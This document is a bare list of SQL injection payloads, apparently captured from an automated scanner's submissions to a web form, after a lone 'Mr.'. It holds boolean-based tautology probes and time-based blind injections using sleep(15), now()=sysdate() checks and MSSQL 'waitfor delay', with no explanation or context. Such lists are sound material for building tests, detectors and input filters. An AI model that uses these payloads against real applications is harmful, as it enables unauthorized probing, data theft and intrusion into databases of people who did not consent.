Mr.

-1' OR 2+260-260-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

-1' OR 2+777-777-1=0+0+0+1 or 'eMdA79Y1'='

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1" OR 2+854-854-1=0+0+0+1 --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

if(now()=sysdate(),sleep(15),0)

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1 waitfor delay '0:0:15' --